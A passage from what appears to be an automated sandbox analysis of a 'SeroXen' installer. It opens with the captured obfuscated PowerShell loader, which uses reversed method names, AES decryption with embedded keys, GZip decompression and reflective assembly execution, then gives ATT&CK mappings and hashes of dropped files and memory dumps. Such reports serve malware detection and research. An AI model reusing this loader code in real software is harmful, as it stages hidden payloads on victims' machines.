[System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
      4⤵
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\SeroXen-install.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_31t4tydd.htk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/3968-35-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3968-37-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4440-32-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4440-34-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4772-65-0x00000278F9060000-0x00000278F949E000-memory.dmp

Filesize
4.2MB

Download
memory/4772-66-0x00000278F94A0000-0x00000278F9552000-memory.dmp

Filesize
712KB

Download
memory/4772-64-0x00000278F8890000-0x00000278F905A000-memory.dmp

Filesize
7.8MB

Download
memory/4772-63-0x00000278EFD10000-0x00000278F0294000-memory.dmp

Filesize
5.5MB

Download
memory/4772-62-0x00007FF822AC0000-0x00007FF822B7E000-memory.dmp

Filesize
760KB

Download
memory/4772-61-0x00007FF823690000-0x00007FF823885000-memory.dmp

Filesize
2.0MB

Download
memory/4772-67-0x00007FF823690000-0x00007FF823885000-memory.dmp

Filesize
2.0MB

Download
memory/4772-75-0x00000278F06F0000-0x00000278F0740000-memory.dmp

Filesize
320KB

Download
memory/4772-76-0x00000278F0800000-0x00000278F08B2000-memory.dmp

Filesize
712KB

Download
memory/4772-86-0x00000278F0A90000-0x00000278F0C52000-memory.dmp

Filesize
1.8MB

Download
memory/4772-88-0x00000278F0740000-0x00000278F077C000-memory.dmp

Filesize
240KB

Download
memory/5048-20-0x000002A080360000-0x000002A080DB0000-memory.dmp

Filesize
10.3MB

Download
memory/5048-31-0x000002A081210000-0x000002A08121A000-memory.dmp

Filesize
40KB

Download
memory/5048-29-0x00007FF823690000-0x00007FF823885000-memory.dmp

Filesize
2.0MB

Download
memory/5048-28-0x000002A080F30000-0x000002A080F52000-memory.dmp

Filesize
136KB

Download
memory/5048-38-0x00007FF8050E0000-0x00007FF805BA1000-memory.dmp

Filesize
10.8MB

Download
memory/5048-27-0x000002A080ED0000-0x000002A080F28000-memory.dmp

Filesize
352KB

Download
memory/5048-26-0x000002A080E70000-0x000002A080EC6000-memory.dmp

Filesize
344KB

Download
memory/5048-25-0x000002A080DC0000-0x000002A080E66000-memory.dmp

Filesize
664KB

Download
memory/5048-24-0x00007FF8050E0000-0x00007FF805BA1000-memory.dmp

Filesize
10.8MB

Download
memory/5048-23-0x00007FF8050E0000-0x00007FF805BA1000-memory.dmp

Filesize
10.8MB

Download
memory/5048-22-0x00007FF8050E3000-0x00007FF8050E5000-memory.dmp

Filesize
8KB

Download
memory/5048-18-0x00007FF823690000-0x00007FF823885000-memory.dmp

Filesize
2.0MB

Download
memory/5048-19-0x00007FF822AC0000-0x00007FF822B7E000-memory.dmp

Filesize
760KB

Download
memory/5048-17-0x000002A080000000-0x000002A080024000-memory.dmp

Filesize
144KB

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memory/5048-16-0x00007FF8050E0000-0x00007FF805BA1000-memory.dmp

Filesize
10.8MB

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memory/5048-15-0x00007FF8050E0000-0x00007FF805BA1000-memory.dmp

Filesize
10.8MB

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memory/5048-10-0x000002A0FB840000-0x000002A0FB862000-memory.dmp

Filesize
136KB

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memory/5048-87-0x00007FF8050E0000-0x00007FF805BA1000-memory.dmp

Filesize
10.8MB

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memory/5048-4-0x00007FF8050E3000-0x00007FF8050E5000-memory.dmp

Filesize
8KB

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